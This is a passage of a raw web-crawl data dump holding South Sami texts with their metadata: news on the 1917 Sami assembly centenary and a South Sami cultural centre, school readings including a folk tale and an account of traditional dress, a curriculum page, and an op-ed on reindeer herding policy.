lïeredh.\n– Saemien gïelh våajnoes darjodh lea aaj daajroem buektedh. Mijjieh sïjhtebe siebriedahke edtja lissiehtamme daajroem jïh goerkesem åadtjodh saemien gïeli, kultuvren jïh siebriedahken bïjre. Mijjieh vïenhtebe jis gaajhkh laanten maanah åadtjoeh saemien gïeline åahpenidh, dellie dïhte sæjhta viehkiehtidh gïeli statusem nænnoestidh jïh lissiehtamme goerkesem gïeleldh joekehtsi bïjre vedtedh, saemiedigkieraerie Silje Karine Muotka jeahta.\nBaakoeh appesne leah dovne julev, åarjel- jïh noerhtesaemien gïelesne jïh desnie desnie aaj tjoejefijlh. Appesne maahta lissine våhkoebiejjieh, taalh, klaerieh jïh göökte maanalaavlomh lïeredh.\nJis gihtjehtimmiem sïjhth gaskesadth Silje Karine Muotka, mob. +47 984 87 576, email@example.com","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Baejhkoehtimmie-maanaapplikasjovneste-10-20-bago","date":"2019-11-20T16:57:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670597.74\/warc\/CC-MAIN-20191120162215-20191120190215-00484.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":111,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte voestes saemien rïjhketjåanghkoe Tråantesne öörnesovvi goevten 6.b. 1917.\nSaemiej åålmegebiejjie sjidti goevten 6.b. Dihte lij dihte biejjie, jaepien 1917 gåessie Elsa Laula saemide tjåanghkose gåtjkoeji. Dihte voestes stoerre saemien tjåanghkoe Tråantesne lij.\nSaemiedigkie, Åarjel-Trööndelaagen fylhketjïelte jïh Tråanten tjïelte lea ektesne seamadamme 100-jaepienheevehtimmiem mïerhkesjidh jaepien 2017.\nSaemiedigkien presideente laajhta staate budsjeedte- uvtelassem gusnie ij naan beetnegh dåajvoehtamme daan mïerhkesjimme beajjan.\n– Ij edtjh staate åådtje mijjiem heerredh jih heevehtidh. Tjoerebe daelie åvtese heevehtimmie jaapan barkedh, gåessie saemieh gaajhkh noerhte laantijste tjåanghkanieh. Gusnie Ealsan jih jeatjah saemien politihkeri åssjelh nænnoestibie, Keskitalo eevtjie.\nDaan mænngan ektievuekie latjkem nænnoestin.\nNasjonale heevehtimmie\nFylhkeåvtehke Åarjel-Trøøndelaagesne latjkes edtja nasjonale heevehtimmie årrodh jih jaahka sån staate edtja beetnegi gujmie dåarjelidh.\n– Mijjieh hijvene tjåanghkoem åtneme stoerredigkiepresideentene jih tjïelteministerene jih govloes dah guaktah sijhtijægan nasjonale heevehtimmiem dåarjodh. Tjoeveribie dah beetnegh åadtjodh, guktie raeriem utnebe jih nasjonale heevehtimmiem buektiehtidh, fylhkeåvtehke Tore O Sandvik jeahta.\nTråanten tjïelte aavosne edtja vïehkesjidh jih 100-jaepienheevehtimmiem mïerhkesjidh. Maam gåhtjoeh Tråante 2017.\n- Lohkh aaj: Heevehtimmie væhtam veeljeme","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.nrk.no\/sapmi\/ektesne-heevehtidh-1.12615742","date":"2019-12-16T09:50:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541319511.97\/warc\/CC-MAIN-20191216093448-20191216121448-00017.warc.gz","language":"sma","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999890327453613}","num_words":156,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jirrede biejjien edtjieh Saemien Sijten åejvieh, Stoerre digkien tjielte komittèm gaavnedidh. Edtjieh vielie digkiedidh daan orre Saemien Sijten gåetien bijre. Gøøkte luhkie vijhte jaepieh soejkesjamme, guktie dihte orre gåetie edtja vååjnedh.\nVihkeles.\nSaemien Sijten åejvie Birgitta Fossum øøvre njåajjarostoe. Eah dah pryjjeh gænnah, eah sïjhtieh daam åarjel saemien kultuvrem vaarjelidh.\n–Jiehtieh daate vihkeles jih åarjel saemien kultuvrem vaarjelidh. Tjoeveribie daam jaehkedh, jeahta Fossum.\nIj leah mij sjidteme.\nUktsie jaepieh Kultuvre departemente daam aamhtesem gïetedalleme. Læjhkan ij leah mij sjidteme.\n–Mijjieh øøvre bååhperibie. Fïerhten aejkien, edtja mij akth heerresovvedh. Daelie sijhtieh daam gåetiem jarkoestidh. Mejtie tjoeveribie orre gåetiem guvviedidh, man gellieh jaepieh vielie nåhka. Mijjieh daelie njåajjaribie.\nIj vielie sijjieh.\nDaelie gåårtjehke saemien Sijtesne. Dah mah gåetie sijjiem Saemien Sijtesne løønieh, barkoesijjiem brakkesne åådtjeme.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.nrk.no\/sapmi\/eah-aarjesaemien-kultuvrem-1.11679987","date":"2019-12-12T02:55:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540536855.78\/warc\/CC-MAIN-20191212023648-20191212051648-00191.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":123,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Lohkede saemien veedtjeme, maam Knut Bergsland jïh Ella Holm Bull tjaaleme. Daennie soptsesisnie åadtjoeh govledh mij heannadi goh akte svïenske fæjjoe doh tjahkh Nöörjen sïjse bööti.\nTjuvrie\nAkten daelvien goh lij dåaroe Svöörjen jïh Nöörjen gaskem (1657-1660), dellie bööti akte svïenske fæjjoe bijjelen doh tjahkh Nöörjen sïjse.\nIdtji gååvnesh naan geajnoeh dejnie dajvine. Hijven lij daelhkie, jïh doh svïenskh nov maa dah meehtin treavkah provhkedh. Båateme lin bïeljelidh, edtji hïeje årrodh aktene gaertienisnie vuelnie aaj såemies voenesne.\nDan gaertienasse lin dam dle daelie tjohtjeminie. Tjuvrieh vïenhtin edtjin dle destie åadtjodh rebpieldidh beapmoeh, vaarjoeh jïh aaj jeatjah dovres tjåenieh.\nAnnje lij akte jïlle tjahke dej tjuvriej jïh dan gaertenen gaskesne. Dle dïervesjin aktem saemiem mij lij aaj damhkoeminie doj tjahki bïjre. Dïhte lij dunnie vuemesne ieriem vearadamme jih dle lij gåatan tjoejkeminie.\nDennie mieresne dle dejtie svïenskide dïervesji. Dah dallah govlehtin edtji baalkam vuesiehtidh bijjelen dam tjahkem don gaertenen gåajkoe. Dïhte saemie gujht dallah guerkiehti magkarinie ierine doh svïenskh lin, jïh dåajvoehti nov maa satne edtji vuesiehtidh dam baalkam. Voestegh dle tjoejkin bæjjese aktem praare tjaavtesem jïh akten dalvesasse, jïh destie gujht dle dubpelen dohkoe. Goh edtjin dle aelkedh gïerestidh våålese, dle dïhte saemie tjöödtjesti akten jalladahken nille. Nåå, dïhte svïenske fæjjoen guvhkiehtæjja båata dan saemien gåajkoe jïh sæjhta govledh guktie dle. Ae, ij Ieah goh daelie vielie man guhkie dan gaertienasse gusnie dïhte hïeje, men tjoerebe annje voestegh våålese daam praare njååjtem.\nJoe lij dle biejjie doekoe, joe lij tjyöredeminie. Dle dïhte saemie jeahta: \"Vuertebe annje vielie goske jemhkelde sjædta, goske hinnieh gaajhke dam provre-sïlpem gåatan buektedh. Jïh dle eah aajhtsh, libie båetieminie, gosse leah dle goevleminie, fïjneminie dej sïlpigujmie.\" Latjkajin gujht dle numhtie.\nGoh dle jemhkelde sjïdti, dle dïhte saemie veelti golh aktem biessie-govkijem herrehke-geatjan, jïh dle dam båaltajehti. Jïh dle vöölki tjoejken dle våålese dam væjroem doj svïenski åvtelen, jïh dle gæljede dujtie svïenskide: \"Dåeriedidie dellie mov mïnngesne jïh aellede bïllh ihke lea praare.\"\nVoestes gietjeste dle barre soejmi juhti, men ånnetji dle verke-verkebe. Goh dle numhtie gïerestamme dam åårkem naa våålese mahte dan baektien raajan, dle sveehkeste dïhte saemie jïh steerede aktede bietseste. Dam govkijem dle slijri dan baektien bijjelen. Jih dle gællasji dle numhtie dennie jemhkielisnie. Vööjni gujht dle guktie dah tjeehpes daarhvh dle båetieh dan sov baaktoe jïh dle dan govkijen mïnngesne.\nLuvlelen dam aaregem dle lea akte baalka mij saahtah våålese dan voenese. Dagkoe dam dle dïhte saemie våålese vöölki. Nåå dïhte gujht dle dan gaertienasse gusnie dïhte hïeje. Jïh tjaanga gujht aaj gåetien sïjse, jïh dle gylje: \"Dijjieh daelie lidie Iustem utnieminie. Manne jaahkam, ij guhte dijjeste daejrieh guktie jaemede dijjen bijjelen aadtjen orreme. Dam edtjem jiehtedh. Jaemede lea orreme dijjen bijjelen.\" Jïh dle soptsesti saernieh.\nDam govlijin, dle dïhte jïjtjemes dle dan jïjnjh kåahpere-nuvvieh tseepmi akten buartan guktie lin almetjh dennie hïejesne. Dam edtjin dle mojhtelidh. Jis ij lij dïhte saemie dåemiedamme numhtie guktie darjoeji, dle lin dah tjuvrieh båateme ryöveme jïh båvveme gaajhkh dah almetjh.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\n- Kjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129735","date":"2019-12-09T12:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540518882.71\/warc\/CC-MAIN-20191209121316-20191209145316-00169.warc.gz","language":"sma","language_score":0.9999655485,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999655485153198}","num_words":604,"character_repetition_ratio":0.123,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Torkel Larsson Kråik daam soptsesem soptsestamme. Soptsese lea gærjeste Saemien lohkeme-gærja maam Knut Bergsland jïh Gustav Hasselbrink tjaaleme. Voestes aejkien gærja trygkesovvi jaepien 1957 jïh mubpien aejkien jaepien 1978. Dellie Ella Holm Bull gærjam learoegærja-reaktoen mietie tjeeli.\nBåeries aejkien jïh mijjen aejkien saemiej vaarjoej bïjre\nMijjieh noerh dej tïjji limh gåårveldahkesne saemien vaarjoej sisnie: gaeptine, tjohpine, boenge-skuvmine, beelhtine, daelvege måvhkine, gejhkehkigujmie, voedtegigujmie, giesege skænhkajgujmie, baarhkohkigujmie. Gujnh lin aaj seamma-laakan gåårveldahkesne saemien vaarjoej sisnie: guhkies voepth, juakaldahteme gåabpegh åejjien bieliem jïh dellie pruvnieldamme, jïh dellie voepti vuelie-gietjesne göödtin baarkaldahkh, jïh beelhtesne göödtin guadtahtahkh meessegistie, nieljien skaavhth plåahte, gusnie lin raejkieh. Dïsse lin dibrehtamme nejpien dahpem, skaarjan dahpem, naaloe-gåetiem jïh bongkem. Gusnie lij buste jïh soerme-gåetiedahpe.\nJïh gosse gïjrege Faapman vuelkedh, die gåaroejin orre skænhkah, jïh gosse tjaktjege vöölkin Faapman, dellie bådtjedh (bådtjadidh) dejtie seamma skænhkide. Dah guhth voestes aejkien broehkide utnin Faepmesne, dah lin göökte påajkh, elkieh saemien ålman Tåmmes Nilsa, Saedtiesvaellesne. Akten påajken lij nomme Nijles Tåmmese, jïh mubpien elkien lij nomme Tåarhtje Tåmmese, tjïelke båatsoej-saemieh. Jïh dïhte lij jaepien luhkie jïh gaektsie stoerre-luhkie uktsie-luhkie jïh govhte jaepieh mijjen Jupmelen reakadovvemen minngelen. Jïh dïhte saemien åålmeh guhte dam vööjni, dej tjelmieh dabranin dejtie påajkide.\nMen jaepien luhkie jïh uktsie stoerre-luhkie jïh luhkie jaepieh, dellie saemien vaarjoeh eelkin gierehtoevemen (gïerehtovvedh). Saemieh eelkin laedtien vijjeme måvhkah utnedh, bussaråånh, jïh haahtem åajjan tseegkin, laedtien vijjeme lårhvoeh tjohpem jïh deamtjoeh sjeerme-tjohph, jïh heengselh jïh laedtien vijjeme veelkes boengeskuvmieh. Stromhph jualkan utnin, skåavh tseekin. Gujnh åenehks, jissehts måvhkah bïjre bahtem, guhkies stromph jïh åenehks stromphi bijjie-gietjiem marngestin dej skåavi roejesen bijjelen, jïh laedtien vijjeme bluvsem repmien bijjelen, jïh laedtien vijjeme gaptam. Voeptide bietskedh jiemte bielji mietie. Jïh dellie vaeltieh laedtien darjome tåånngam jïh dellie dållesne baahkedh, jïh dellie voeptide tsiptsesth, dellie vååjnoeh goh burrieh, jïh laedtien deamtjoeh tjohpem åajjan tseegkieh.\nDaate jaepie, luhkie jïh uktsie stoerre-luhkie njieljieluhkie golme jaepieh, båatam mijjen gærhkoe-hieljese Faapman. Desnie jïenehke saemieh leah gåårveldahkesne gaerjelen vaarjoej sisnie. Dïhte guhte lea gåårveldahkesne gaerjelen vaarjoej sisnie, ij maehtieh juekedh saemien jïh gaerjelem.\nGærjesne baakoeh mah bokstaavem mïrhke ï utnieh sïejme i-ine tjaaleme. Mijjieh naaken daejstie baakojste mïrhke ï-ine tjaaleme, vg. jïh, sjïdtedh, jnv.\nBaakoeh\nSaemien\nDaaroen\nFaepmie\nFapmomakk\nbroehke = måvhkah\nbukse\nSaedtiesvaellie\nSatsfjället\nheengselh\nbukseseler\nstromph\nstrømper\ndarjome tåånnga\ntang\/krølltang\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\n- Kjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078\/resource:1:184271","date":"2020-01-19T07:55:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594333.5\/warc\/CC-MAIN-20200119064802-20200119092802-00328.warc.gz","language":"sma","language_score":0.9999551773,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999551773071289}","num_words":430,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n- Maahtaldahkeulmieh\n- Faagem vierhtiedidh\nFaagen maadth maahtoeh\nVihkeles tjiehpiesvoeth lea meatan vaaltasovveme maahtoeulmine gusnie dah viehkiehtieh evtiedimmine jïh lea akte bielie faagemaahtoste. Eengelsken gïelesne guarka dejtie vihkeles tjiehpiesvoetide naemhtie:\nNjaalmeldh tjiehpiesvoeth eengelsken gïelesne lea maehtedh goltelidh, håaledh jïh govlesadtedh viehkine dam eengelske gïelem nuhtjedh. Edtja aaj vuarjasjidh jïh sjïehtedidh soptsestimmievuekieh åssjelasse, dåastoejasse jïh tseahkan. Edtja aaj sosijaale konvensjovni bïjre lïeredh jïh guktie almetjh sinsætnan dåemiedieh dejnie laantine gusnie eengelske gïele åtnasåvva jïh gaskenasjovnaale ektiedimmine. Evtiedimmie njaalmeldh tjiehpiesvoetijste eengelsken gïelesne sæjhta jiehtedh dam njaalmeldh gïelem ahkedh vielie veele jïh jeereldihkie nuhtjedh soptsestimmine jïh jeatjah såarhts njaalmeldh govlesadtemisnie. Edtja aaj goltelidh, guarkedh jïh digkiedidh ovmessie aamhtesh jïh dåeriesmoeretjoelmh juktie faagedaajroem vejtiestidh. Edtja aaj maehtedh joekehts såarhts eengelske gïelem guarkedh ovmessie bielijste veartenisnie.\nMaehtedh tjaeledh eengelsken gïelesne lea maehtedh åssjaldahkh jïh mïelh buektedh maereleslaakan jïh naemhtie guktie mubpieh guarkah viehkine dehtie eengelske tjaelemegïeleste. Dellie tjuara soejkesjidh, hammoedidh jïh gïetedidh tjaalegh mah govlesedtieh, jïh mah hijven struktuvrem jïh ektiedimmiem utnieh. Lissine dle tjaeleme akte dïrrege gïelelïerehtimmien gaavhtan. Evtiedimmie tjaelemetjiehpiesvoetijste eengelsken gïelesne lea lïeredh staaran tjaeledh jïh aktem stuerebe stuerebe baakoeveahkam eengelske baakojste jïh gïelestruktuvrijste evtiedidh. Edtja aaj aktem gellielaaketje maahtoem evtiedidh ovmessie såarhts sïejhme, lidteræære jïh faageles tjaalegh eengelsken gïelesne tjaeledh, aktine ovbyjjes jïh byjjes gïeline mij lea åssjelasse jïh dåastoejasse sjïehtedamme.\nMaehtedh lohkedh faagesne eengelske lea maehtedh mïelem sjugniedidh ovmessie såarhts tjaalegijstie. Dellie edtja eengelskegïelen tjaalegh lohkedh juktie guarkedh, ussjedidh jïh goerkesem jïh daajroem vejtiestidh kultuvri jïh faagesuerkiej dåaresth. Edtja aaj soejkesjidh, lohkedh jïh lohkemem gïetedidh eengelskegïelen tjaalegijstie ovmessie åssjelidie, jeereldihkie gåhkojne jïh gïervevoetine. Evtiedimmie lohkemetjiehpiesvoetijste eengelsken gïelesne lea maehtedh åtnose vaeltedh lohkemevuekieh mah leah sjïehtedamme åssjelasse lohkeminie, ahkedh vielie krïevije tjaalegisnie. Edtja aaj eengelskegïelen tjaalegh iktemearan jïh goerkesinie lohkedh, jïh goerehtidh, digkiedidh, lïeredh jïh ussjedidh ovmessie såarhts bïevnesi bïjre.\nMaehtedh ryöknedh eenglesken gïelesne lea maehtedh sjyöhtehke matematihkeles dïejvesh eengelsken gïelesne nuhtjedh ovmessie tsiehkine. Edtja möölegeektievoeth damtedh mah åtnasuvvieh eengelskegïelen laantine, jïh guarkedh jïh govlesadtedh taali bïjre, grafihkeles åehpiedehtemh, tabellh jïh statistihkh eengelsken gïelesne. Evtiedimmie ryöknemetjiehpiesvoetijste eengelsken gïelesne sæjhta jiehtedh taalh jïh ryöknemem nuhtjedh viehkine våarhkoem evtiedidh matematihkeles teermijste eengelsken gïelesne mah leah aarkebeajjan ektiedamme, jïh sïejhme jïh faageles teermh.\nDigitaale tjiehpiesvoeth eengelsken gïelesne lea maehtedh aktem jeereldihkie veahkam digitaale dïrregijstie, meedijijstie jïh vierhtijste nuhtjedh juktie gïelelïerehtimmiem nænnoestehtedh, eengelsken gïelesne govlesadtedh jïh sjyöhtehke daajroem vejtiestidh eengeleskefaagesne. Åtnoe digitaale vierhtijste nuepiem vadta eengelskegïelen tjaalegh dååjredh rïektes tsiehkine, amma iemie, ij-sjïehtedamme tsiehkieh. Evtiedimmie digitaale tjiehpiesvoetijste sæjhta jiehtedh bïevnesh ribledh jïh gïetedidh juktie ovmessie såarhts tjaalegh sjugniedidh. Digitaale hammoekrïevenassh tjaaleginie sæjhta jiehtedh effekth, guvvieh, tabellh, bijjietjaalegh jïh mearhketjh leah tjåanghkan bïejeme juktie aktem dïjrem tjïertestidh jïh leerehtidh. Edtja aaj maehtedh digitaale gaaltijh nuhtjedh tjaaleldh jïh njaalmeldh tjaaleginie, jïh laejhtehks jïh jïjtjeraarehke årrodh gaaltijeåtnose. Digitaale tjiehpiesvoeth lea daajroem evtiedidh aalkoereaktan jïh almetjevaarjelimmien bïjre viehkine gaaltijevuesiehtimmijste mejtie gåarede gïehtjedidh.\nSide 4 Av 11","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.udir.no\/kl06\/ENG1-03\/Hele\/Grunnleggende_ferdigheter?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2020-01-25T02:53:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250628549.43\/warc\/CC-MAIN-20200125011232-20200125040232-00298.warc.gz","language":"sma","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000088214874268}","num_words":461,"character_repetition_ratio":0.106,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh aadtjen 100-jaepienheevehtimmiem aavoedamme dan saemien tjåanghkose Tråantesne. Goevten 6.b. lij dïhte voestes saemien rijhketjåanghkoe, mïsse båatsoegujne Elsa Laula Renberg skraejriem veelti. Heevehtimmievåhkoen daelie 2017 jïjnjh dejstie seamma aamhtesijstie lin biejjieöörnegisnie goh 1917. Båatsoen ektiebarkoekonferansesne haestiemidie arealigujmie jïh dam ååpsen stoerre juvreaajhtoem digkiedin. Digkiedimmesne tjïelke våajnoes sjïdti båatsoe jïh åejvieladtjh eah dam seamma vuajnoem utnieh guktie rïektesisnie lea.\nDan åvteste tjoerebe daelie, don åajvoeh aavoedimmien mænngan Tråantesne, amma aalverelaakan digkiedidh mij lea daerpies ihke båatsoe edtja jielije jielieminie årrodh aaj båetijen aejkien. Vihkeles tjelmide lutnjedh jïh guhkiebasse vuejnedh – mijjieh edtjebe daesnie årrodh 100 jaepiej minngelen jïh mijjieh edtjebe daesnie bovtsigujmie gïehtelidh 100 jaepiej minngelen.\nSaemiedigkien gaavhtan lea vihkeles barkedh ihke båatsoe hijven mieriekrïevenassh åtna mej våarome lea båatsoen sjïerevoete goh akte kultuvresjïere saemien jieleme. Daate sæjhta jiehtedh doh raerieh båetijen aajkan – dah mah edtjieh stååresjidh 100 jaepieh åvtese - edtjieh båatsojne ektine evtiesovvedh.\nSaemien båatsoe aktem guhkies histovrijem åtna noerhtedajvine. Båatsoe lea sjïdtedamme goh akte jieleme akten ektiespïelen tjïrrh bovtsen, almetjen jïh dan eatnemen gaskem maam åtnose åtna. Jieleme vierhtide gellielaakan nuhtjie aktene bertuve noerhtege eatnamisnie. Daan biejjien båatsoe joekoen vihkeles saemien kultuvren, gïelen jïh siebriedahkejieleden gaavhtan. Båatsoen leah sjïere dorjesh faalehtidh, dovne goh bearkoefaalehtæjjah jïh fealadasseaktöörh. Gellie nuepieh gååvnesieh lissiehtamme aarvoem sjugniedidh.\nBåatsoen haestemh\nMen heevehtimmiejaepien 2017 dle båatsoe daamtaj neebnesåvva goh akte jieleme mij ij buektehth jïjtse ïedtjh gorredidh. Staate tjuara aamhtesen sïjse tjaangedh juktie båatsoem jïjtse vööste vaarjelidh. Båatsoetaale stuvresåvva jïh gïehtjedamme sjædta. Seamma tïjjen akte veanhtadimmie båatsoe ahkedh tjuara stoerresiebriedahken ïedtjh tjeekedh, jïh ij feesteheerrehkinie årrodh industrialiseradimmien heevehtimmesne noerhtedajvine.\nStaateles båatsoepolitihke guhkiem våaroeminie åtneme båatsoe aktem töölleme åtnoem utni, mij tjoeri jåartaburrien ïedtjh jïh stoerresiebriedahken lissiebigkemedaerpiesvoetide tjeekedh. Jalhts båatsoe ånnetji ånnetji aktem veaksahkåbpoe reekteles vaarjelimmiem åådtjeme, dle lea tjoereme gåatomelaantem mubpide gellien aejkien vadteme. Joekoen åarjelsaemien båatsoe gellie energije- jïh industrijebigkemh dååjreme. Akte jeatjah væhta dejnie staateles båatsoepolitihkine lea akte stuvrehtimmie- jïh gïehtjedimmiedaerpiesvoete, gusnie politihkerh guhkiem joekoen båatsoesaemiej bovtsetaaline ååntjestalleme. Joekoen 80-låhkoen raejeste dle bovtsetaale bieline Finnmaarhkeste raaktan vuajnalgamme goh akte dåeriesmoere jïh reeremem vaeltedh dan bijjelen lea stuvrije orreme dejtie jeanatjommes båatsoepolitihkeles dahkojde mah leah dorjesovveme dan mænngan.\nGellie dotkijh saemien båatsoen sisnjelen lea tjïertestamme akte sïejhme væhta nöörjen båatsoereeremisnie guhkiem lea dah eah goerkesem utnieh dej saemien gïehtelimmievuekiej jïh daajroevåaromem bïjre. Båatsoe ij lea reeresovveme sov sjïerevoeten mietie goh akte jieleme mij lea jïjtjemse eatnamasse sjïehtedamme, saemien kultuvren aerpievuekien mietie, men vuajnalgamme goh akte jeerehtse jåartaburreste. Dan gaavhtan dle doh sisnjelds stuvremefunksjovnh båatsosne geahpanamme mejtie aerpievuekien mietie åtneme, gaskem jeatjah gosse ektiegåatomedajvh jïh gïehtelimsektievoeth\/konsesjovnh sjïehtesji, man åvteste gaahtjeme gåatomedajvi jïh båatsoetaali bïjre lea læssanamme. Men rovnege gujht, ij leah seamma ïedtje orreme dejstie stuvrije åejvieladtjijste reaktide gåatomedajvide tjïelkestehtedh mah lea dïhte våarome bovtsetaalevihtiestæmman.\nSïlleste sïllese jarkelimmieh\nAkte orre båatsoelaake nænnoestamme sjïdti 2007, akten veele åvtebarkoen mænngan gusnie almetjh båatsoesaemien daajrojne lin meatan. Aktine tjïelke ulmine lissiehtamme privaate jïjtjeståvrojne båatsose, gelliej jaepiej mænngan byögkeles stuvreminie, lij stoerre veanhtadimmieh. Åejvieladtji bieleste dagke aavoedin ihke båatsoe jïjtje edtji dejnie dåeriesmoerine sjeakodh mah lin sjïdtedamme, jïh idtjin jïjtjh buektiehtamme gïetedidh? Luhkie jaepieh mænngan vuejnebe veanhtadimmieh eah leah illehtamme. Åejvieladtji mïelen mietie dle dïhte sisnjelds jïjtjeståvroe dïhte mij ij lyhkesh, jieleme veanhta dah eah doh reaktoe stuvremedïrregh utnieh. Dotkeme jïh Rijhkerevisjovnen reektehtse jaepeste 2012, tjuvtjiedieh akten båajhtoeh byögkeles reeremasse guhkiem.\nAkte reektehtse mij bæjhkoehtamme sjïdti goeven 2017 haestemi bïjre jïjtjeståvrose båatsosne, vuesehte naemhtie guktie tsiehkie lij gosse laake faamoem åadtjoeji , dle lij akte krïevije laavenjasse båatsose dïedtem vaeltedh sisnjelds njoelkedassh sjïehtedidh gåatomereaktaj jïh bovtsetaalen bïjre, aktene jieliemisnie mij lij tjarke tsavtseme rasjonelle sjïehtedimmeste jïh gaahtjemistie. Doh faktovrh mah meehtin viehkiehtidh aktem sisnjelds jïjtjeståvroem buektiehtidh mij meehti lyhkesidh, ij lij amma stïeresne.\nJuktie dam dåvvodh dle vuajneme doh staateles åejvieladtjh jarkelimmieh darjoeh sïlleste sïllese dej minngemes jaepiej, båatsoelaakesne jïh båatsoen reeremisnie. Daate dorjesåvva bielelen dejtie sjïere jarkelimmide vuejnedh aktene ållesth perspektijvesne, guktie Saemiedigkie lea tjïertestamme gellien aejkien. Daerpies aktine 